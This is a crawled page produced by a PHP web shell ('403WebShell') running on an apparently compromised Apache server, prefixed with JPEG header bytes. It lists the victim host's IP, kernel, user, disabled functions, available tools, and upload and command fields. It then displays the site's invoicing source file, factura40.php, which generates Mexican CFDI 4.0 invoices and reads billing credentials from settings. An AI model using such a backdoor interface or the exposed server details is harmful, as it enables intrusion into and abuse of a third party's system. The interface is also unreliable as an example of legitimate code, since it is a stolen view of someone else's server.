����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.15.238.90
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/app6/application/salesFactura_4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app6/application/salesFactura_4/factura40.php
<?php
session_start();
$sale1= $_POST['id_sales'];


if(isset($sale1))
{	

	require_once ("../model/dbconn.php");
		require_once ("../model/pos.php");
			
			$posConfig = new pos();
			//impuesto general
			$impuestoBD = $posConfig->getByPreffix('imp-val')[1]['val'];
			//usuario multifacturas real
			$userMulti = $posConfig->getByPreffix('Usuario_Factura')[1]['val'];
			//pass multifacturas real
			$passMulti = $posConfig->getByPreffix('pass_fac')[1]['val'];
			//detalles
			$ArchCerDemo = $posConfig->getByPreffix('archivo_cer_demo')[1]['val'];
			$ArchKeyDemo = $posConfig->getByPreffix('archivo_key_demo')[1]['val']; 
			$settingsEmisor = $posConfig->getByPreffix('name_val')[1]['val']; 
			$settingsCP = $posConfig->getByPreffix('cp_val')[1]['val']; 
			$RegimenDemo = $posConfig->getByPreffix('Regimen_sat')[1]['val']; 
			$settingsCodigoSat = $posConfig->getByPreffix('Sat_val')[1]['val']; 
			$settingsUnidadSat = $posConfig->getByPreffix('Sat_val_Unidad')[1]['val']; 
			$RFC_demo_Emisor = $posConfig->getByPreffix('rfc_val')[1]['val'];
			$RFC_nombre_Emisor = $posConfig->getByPreffix('name_val')[1]['val'];
			$PassDemoMulti= $posConfig->getByPreffix('Pass_Sat_demo')[1]['val'];
			$logo = $posConfig->getByPreffix('report_image')[1]['val']; 
			$emailPrincipal = $posConfig->getByPreffix('admin_email')[1]['val']; 
			
			
			//ajustamos saldo updateSettingSaldo
			$updateSaldo = new pos();
			$saldo = $updateSaldo->updateSettingSaldo('Saldo-Fact'); 
			
			//revisamos saldo
			echo $saldo = $posConfig->getByPreffix("Saldo-Fact")[1]['val']; 
			
			//facturacion real SI(real)/NO(demo)
			$FacturacionReal = $posConfig->getByPreffix('demo_fac')[1]['val']; 
			//DATOS POST
			
			$client_name= $_POST['client_name'];
			$client_rfc= $_POST['rfc'];
			$uso_cfdi= $_POST['uso_cfdi'];
			$FormaPago = $_POST['FormaPago'];
			$posForma= new pos();
			$FormaPago = $posForma->getFormakId($FormaPago)[1]['def'];
			
			//NOTA EN FACTURA pdf
			$notapdf = $_POST['nota'];
			
			//obtenemos sell_id
			$posSell=new pos();
			$sell = $posSell->getlistSell($sale1);
			$sell_id = $posSell->getlistSell($sale1)[1]['id']; 
			

		//ejemplo factura cfdi 4.0

		// Se desactivan los mensajes de debug
		error_reporting(~(E_WARNING|E_NOTICE));
		//error_reporting(E_ALL);

		// Se especifica la zona horaria
		date_default_timezone_set('America/Mexico_City');

		// Se incluye el SDK
		require_once '../../../../sdk2/sdk2.php';

		// Se especifica la version de CFDi 4.0
		$datos['version_cfdi'] = '4.0';

		// Ruta del XML Timbrado
		$datos['cfdi']='../../../../skd2/timbrados/cfdi_ejemplo_factura4.xml';

		// Ruta del XML de Debug
		$datos['xml_debug']='../../../../sdk2/timbrados/sin_timbrar_ejemplo_factura4.xml';

		// Credenciales de Timbrado
			$datos['PAC']['usuario'] = ''.$userMulti.'';
			$datos['PAC']['pass'] = ''.$passMulti.'';
			$datos['PAC']['produccion'] = ''.$FacturacionReal.'';

		// Rutas y clave de los CSD
		$datos['conf']['cer'] = '../../../../sdk2/certificados/EKU9003173C9.cer.pem';
		$datos['conf']['key'] = '../../../../sdk2/certificados/EKU9003173C9.key.pem';
		$datos['conf']['pass'] = '12345678a';

		// Datos de la Factura
		$datos['factura']['condicionesDePago'] = 'CONDICIONEES';
		$datos['factura']['descuento'] = '0.00';
		$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);
		$datos['factura']['folio'] = '100';
		$datos['factura']['forma_pago'] = '01';
		$datos['factura']['LugarExpedicion'] = '45079';
		$datos['factura']['metodo_pago'] = 'PUE';
		$datos['factura']['moneda'] = 'MXN';
		$datos['factura']['serie'] = 'A';
		$datos['factura']['subtotal'] = 298.00;
		$datos['factura']['tipocambio'] = 1;
		$datos['factura']['tipocomprobante'] = 'E';
		$datos['factura']['total'] = 345.68;
		//$datos['factura']['RegimenFiscal'] = '601';
		$datos['factura']['Exportacion'] = '01';
		// Datos del Emisor
		$datos['emisor']['rfc'] = 'EKU9003173C9'; //RFC DE PRUEBA
		$datos['emisor']['nombre'] = 'ESCUELA KEMPER URGATE SA DE CV';  // EMPRESA DE PRUEBA
		$datos['emisor']['RegimenFiscal'] = '601';
		//$datos['emisor']['FacAtrAdquirente'] = 'ACCEM SERVICIOS EMPRESARIALES SC';
		// Datos del Receptor
		$datos['receptor']['rfc'] = 'CACX7605101P8';
		$datos['receptor']['nombre'] = 'XOCHILT CASAS CHAVEZ';
		$datos['receptor']['UsoCFDI'] = 'G03';
		//opcional
		$datos['receptor']['DomicilioFiscalReceptor'] = '10740';
		//$datos['receptor']['ResidenciaFiscal']= 'MEX';
		//$datos['receptor']['NumRegIdTrib'] = 'B';
		$datos['receptor']['RegimenFiscalReceptor'] = '612';

		// Se agregan los conceptos

		$datos['conceptos'][0]['cantidad'] = 1.00;
		$datos['conceptos'][0]['unidad'] = 'Pieza';
		$datos['conceptos'][0]['ID'] = "1726";
		$datos['conceptos'][0]['descripcion'] = "Cigarros";
		$datos['conceptos'][0]['valorunitario'] = 99.00;
		$datos['conceptos'][0]['importe'] = 99.00;
		$datos['conceptos'][0]['ClaveProdServ'] = '50211503';
		$datos['conceptos'][0]['ClaveUnidad'] = 'H87';
		$datos['conceptos'][0]['ObjetoImp'] = '02';

		$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Base'] = 99.00;
		$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
		$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';
		$datos['conceptos'][0]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';
		$datos['conceptos'][0]['Impuestos']['Traslados'][0]['Importe'] = 15.84;


		$datos['conceptos'][1]['cantidad'] = 1.00;
		$datos['conceptos'][1]['unidad'] = 'NA';
		$datos['conceptos'][1]['ID'] = "1586";
		$datos['conceptos'][1]['descripcion'] = "PRODUCTO DE PRUEBA 2";
		$datos['conceptos'][1]['valorunitario'] = 199.00;
		$datos['conceptos'][1]['importe'] = 199.00;
		$datos['conceptos'][1]['ClaveProdServ'] = '01010101';
		$datos['conceptos'][1]['ClaveUnidad'] = 'ACT';
		$datos['conceptos'][1]['ObjetoImp'] = '02';

		$datos['conceptos'][1]['Impuestos']['Traslados'][0]['Base'] = 199.00;
		$datos['conceptos'][1]['Impuestos']['Traslados'][0]['Impuesto'] = '002';
		$datos['conceptos'][1]['Impuestos']['Traslados'][0]['TipoFactor'] = 'Tasa';
		$datos['conceptos'][1]['Impuestos']['Traslados'][0]['TasaOCuota'] = '0.160000';
		$datos['conceptos'][1]['Impuestos']['Traslados'][0]['Importe'] = 31.84;


		// Se agregan los Impuestos
		$datos['impuestos']['translados'][0]['Base'] = 298.00;
		$datos['impuestos']['translados'][0]['impuesto'] = '002';
		$datos['impuestos']['translados'][0]['tasa'] = '0.160000';
		$datos['impuestos']['translados'][0]['importe'] = 47.68;
		$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';


		$datos['impuestos']['TotalImpuestosTrasladados'] = 47.68;
		echo "<pre>";
		print_r($datos);
		echo "</pre>";
		
		//echo "<pre>"; echo arr2cs($datos); echo "</pre>".die();
		// Se ejecuta el SDK
		//$res = mf_genera_cfdi($datos);
		$res = mf_genera_cfdi4($datos);
		///////////    MOSTRAR RESULTADOS DEL ARRAY $res   ///////////

		echo "<h1>Respuesta Generar XML y Timbrado</h1>";
		foreach ($res AS $variable => $valor) {
			$valor = htmlentities($valor);
			$valor = str_replace('&lt;br/&gt;', '<br/>', $valor);
			echo "<b>[$variable]=</b>$valor<hr>";
		}
		
		
//termina revision de sale_id		
}		

Youez - 2016 - github.com/yon3zu
LinuXploit